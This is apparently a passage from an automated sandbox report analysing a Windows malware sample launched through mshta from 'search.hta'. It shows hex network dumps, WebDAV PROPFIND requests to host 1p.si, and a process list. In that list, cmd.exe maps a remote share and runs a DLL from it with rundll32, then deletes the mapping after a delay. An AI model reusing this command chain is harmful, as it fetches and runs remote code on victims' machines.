%D$0D$D$$;UWVEMUu},
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: 44 e9 9b 3c 8b b7 d6 f2 a1 fd 7a 9b ce fd 84 9a 69 1c de 79 d3 17 ec 4d b7 a3 28 81 52 ab 3c 3d c7 ea b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb e5 89 9d 78 cd 3f ce 8e 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f 6a 74 e8 59 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 a6 53 51 30 2c 95 6c 63 51 0d d1 ea fd 5e 2f 05 dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f d4 bc 05 10 57 4f 59 9b 97 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a Data Ascii: D<ziyM(R<=B)d{t5P}x?EQ\|:5p:G_pIojtYh3:~=v hzaDSQ0,lcQ^/ F?GWOYX\|BNj*
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: 8b b7 d6 f2 a1 fd 7a 9b ce fd 84 9a 69 1c de 79 d3 17 ec 4d b7 a3 94 05 38 26 bb ff 18 80 b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb ea 0f b7 56 da 51 87 cb 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f 7b 82 6c fe 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 b1 69 95 a0 40 6f ac a9 51 0d d1 ea d6 53 5c ec dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f a1 61 09 10 57 74 59 9b 6b 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a d3 00 10 5a Data Ascii: ziyM8&B)d{t5P}VQEQ\|:5p:G_pIo{lh3:~=v hzaDi@oQS\ F?GaWtYkX\|BNj*Z
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: a1 fd 7a 9b ce fd 84 9a 69 1c de 79 d3 17 ec 4d b7 a3 4f d5 00 57 48 66 9e 55 b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb 89 92 81 d3 6d 0a d2 57 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f 3a cb 04 4b 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 6d b1 cc 47 b5 04 ad a6 51 0d d1 ea 4e 6e 79 c4 dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f f8 e8 0c 10 57 97 59 9b 25 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a d3 00 10 5a d3 00 10 8a Data Ascii: ziyMOWHfUB)d{t5P}mWEQ\|:5p:G_pIo:Kh3:~=v hzaDmGQNny F?GWY%X\|BNj*Z
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: ce fd 84 9a 69 1c de 79 d3 17 ec 4d b7 a3 cd 55 d0 dc c1 3e ae 79 b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb fe 1d 58 0b af 14 93 d0 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f 0c 94 48 1a 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 ef 97 8c 10 a9 c6 d1 96 51 0d d1 ea 75 4d 2a 23 dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f eb c1 10 10 57 10 59 9b 85 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a d3 00 10 5a d3 00 10 8a d3 00 10 8f Data Ascii: iyMU>yB)d{t5P}XEQ\|:5p:G_pIoHh3:~=v hzaDQuM# F?GWYX\|BNjZ
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: 69 1c de 79 d3 17 ec 4d b7 a3 69 8f ed 35 73 d8 f6 54 b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb 52 c2 32 17 ec 91 7c 6a 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f a6 42 d0 7e 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 aa 23 f7 ab 90 de 29 f8 51 0d d1 ea 30 07 d5 08 dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f 94 78 14 10 57 fc 59 9b 8d 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a d3 00 10 5a d3 00 10 8a d3 00 10 af c6 00 00 94 Data Ascii: iyMi5sTB)d{t5P}R2\|jEQ\|:5p:G_pIoB~h3:~=v hzaD#)Q0 F?GxWYX\|BNj*Z
2024-12-27 19:44:25 UTC	16384	IN	Data Raw: d3 17 ec 4d b7 a3 75 9a ae 28 ec 01 88 b7 b5 df f7 b5 93 fa cf 97 42 bd 0a 29 64 cc 7b 87 74 35 f2 50 7d ff e8 ca c9 fe 06 eb 78 00 31 5e 5d 47 6d 96 45 51 b0 17 bf b0 ac ea 8f 7c 3a cc 35 dc b8 aa 70 d4 00 10 9e d4 00 10 c4 d4 00 10 dc d4 00 10 fb d4 00 10 0b d5 00 10 1a d5 00 10 3a d5 00 10 47 d5 00 10 5f d5 00 10 70 d5 00 10 80 d5 00 10 92 d5 00 10 c4 ca 49 6f 68 ae b9 19 68 87 c3 33 92 e9 fd 3a 7e 8f 92 3d b2 76 f5 20 68 b0 da 7a a6 c4 c6 61 44 0c 92 08 9c 61 3b 1e 1d 65 49 69 51 0d d1 ea 94 a0 19 6e dc 20 cb a6 97 d9 0b c0 de 46 3f d1 f2 47 f5 8f a2 44 18 10 57 b6 59 9b 4b 17 58 00 7c d1 00 10 c0 d1 00 10 00 d2 00 10 42 d2 00 10 4e d2 00 10 6a d2 00 10 a4 d2 00 10 ec d2 00 10 0a d3 00 10 2a d3 00 10 5a d3 00 10 8a d3 00 10 cb a9 00 00 94 d3 00 10 ca Data Ascii: Mu(B)d{t5P}x1^]GmEQ\|:5p:G_pIohh3:~=v hzaDa;eIiQn F?GDWYKX\|BNj*Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:33 UTC	179	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 2e 31 32 33 2e 4d 61 6e 69 66 65 73 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/~0.dll.123.Manifest HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:34 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:33 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:34 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:36 UTC	179	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 2e 31 32 34 2e 4d 61 6e 69 66 65 73 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/~0.dll.124.Manifest HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:36 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:36 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:36 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:38 UTC	177	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 7e 30 2e 64 6c 6c 2e 32 2e 4d 61 6e 69 66 65 73 74 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/~0.dll.2.Manifest HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:38 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:38 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:38 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49755	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:40 UTC	172	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 50 4f 57 52 50 52 4f 46 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/POWRPROF.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:41 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:41 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:41 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:40 UTC	169	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 57 49 4e 4d 4d 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/WINMM.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:41 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:41 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:41 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:40 UTC	172	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 4f 50 45 4e 47 4c 33 32 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/OPENGL32.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:41 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:41 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:41 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:40 UTC	168	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 4c 5a 33 32 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/LZ32.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:41 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:41 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:41 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	147.45.112.248	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:44:43 UTC	169	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 6b 6f 2f 77 71 2f 47 4c 55 33 32 2e 64 6c 6c 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 31 30 2e 30 2e 31 39 30 34 35 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 31 70 2e 73 69 0d 0a 0d 0a Data Ascii: PROPFIND /ko/wq/GLU32.dll HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045Depth: 0translate: fContent-Length: 0Host: 1p.si
2024-12-27 19:44:43 UTC	150	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 19:44:43 GMT Content-Type: text/html Content-Length: 146 Connection: close
2024-12-27 19:44:43 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	14:43:53
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\search.hta"
Imagebase:	0xa50000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:44:03
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net use V: \\1p.si@ssl\ko
